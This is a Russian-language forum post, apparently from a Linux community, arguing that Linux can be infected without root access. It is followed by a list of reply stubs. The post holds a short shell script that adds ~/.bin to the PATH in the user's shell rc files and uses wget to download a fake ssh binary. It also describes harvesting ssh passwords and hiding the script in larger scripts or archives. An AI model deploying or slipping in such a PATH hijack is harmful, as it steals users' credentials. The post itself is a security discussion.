решил таки проверить, насколько линукс готов для вирусов.
дано: статья о том, почему на линукс нет и не может быть вирусов, ноутбук с линуксом, текстовый редактор, консоль.
доказать: можно ли исполнить более -менее вредоносный скрипт (НЕ деструктивные функции) без прав рута.
итак, что мы можем сделать без рутовых прав?
1) снести хомяк юзера. не интересно.
2) стырить конфигурационные файлы юзера со сверхсекретнымиданными^Wзашифрованными пятью алгоритмами пароли. да кому же из вирусописателей оно сдалось?
3) подменить вызов системной программы на себя. а что может быть проще этого?
итак, злоумышленник захотел подменить, допустим, ssh.
да легко!
#!/bin/sh
cd
mkdir .bin 2>/dev/null
for i in $(ls -1 *shrc 2>/dev/null); do echo «PATH='~/.bin:/bin:/usr/bin:/sbin:/usr/sbin'» >> $i; done
wget -qO ~/.bin/ssh http://...
и всё! вместо настоящего ssh можно запустить что угодно, тот же баш-скрипт, который будет вопрошать пароль да сливать куда -нибудь, потом просто вызывать /usr/bin/ssh $*.
теперь встает другой вопрос - как подсунуть этот «файл» в четыре строчки по тырнетам.
тут вариантов тоже немного -
1) спрятать их в десяти-тысяче-строчный «полезный» шелл-скрипт ;
2) распространять отдельным исполняемым файлом.
в 1м случае понятно, юзер сам запустит скрипт. а во 2м - как же юзер-НЕхомячок запустит скрипт? ведь браузеры при скачке не дают прав на исполнение! после недолгих экспериментов выяснилось, что при извлечении стандартным XFCEшным архиватором права остаются идентичными тем, какими были до упаковки. (т.е. если кто-то упаковал скрипт с правами на исполнение в архив tar.bz(2), то распаковываемый файл будет с теми же правами, что и до архивации - разве так должно быть?)
а после этого двух кликов достаточно, чтобы «установить» этот скрипт.
«вот такие пироги.» (с)
←
1
2
3
→
Ответ на:
комментарий
от Ruth

Ответ на:
комментарий
от cruxish

Ответ на:
комментарий
от Ruth

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от codoranro

Ответ на:
комментарий
от stevejobs


Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от KRoN73

Ответ на:
комментарий
от Ruth

Ответ на:
комментарий
от matich

Ответ на:
комментарий
от Lordwind

Ответ на:
комментарий
от Ruth

Ответ на:
комментарий
от codoranro

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от snoopcat

Ответ на:
комментарий
от Manhunt

Ответ на:
комментарий
от Manhunt

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от pevzi

Ответ на:
комментарий
от snoopcat

Ответ на:
комментарий
от snoopcat

Ответ на:
комментарий
от PolarFox

Ответ на:
комментарий
от tux2002

Ответ на:
комментарий
от pevzi

Ответ на:
комментарий
от gh0stwizard

Ответ на:
комментарий
от KRoN73

Ответ на:
комментарий
от Manhunt

Ответ на:
комментарий
от snoopcat


Ответ на:
комментарий
от Manhunt

Ответ на:
комментарий
от Reaper

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от Gary

Ответ на:
комментарий
от stevejobs

Ответ на:
комментарий
от Gary

Ответ на:
Идея такова:
от stevejobs

Ответ на:
комментарий
от FiXer


Ответ на:
комментарий
от Manhunt

Ответ на:
комментарий
от RealSiberianMan


Ответ на:
комментарий
от Xenesz

Ответ на:
комментарий
от KRoN73


Ответ на:
комментарий
от vurdalak

Ответ на:
комментарий
от annulen

Ответ на:
комментарий
от snoopcat

Ответ на:
комментарий
от KRoN73

Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.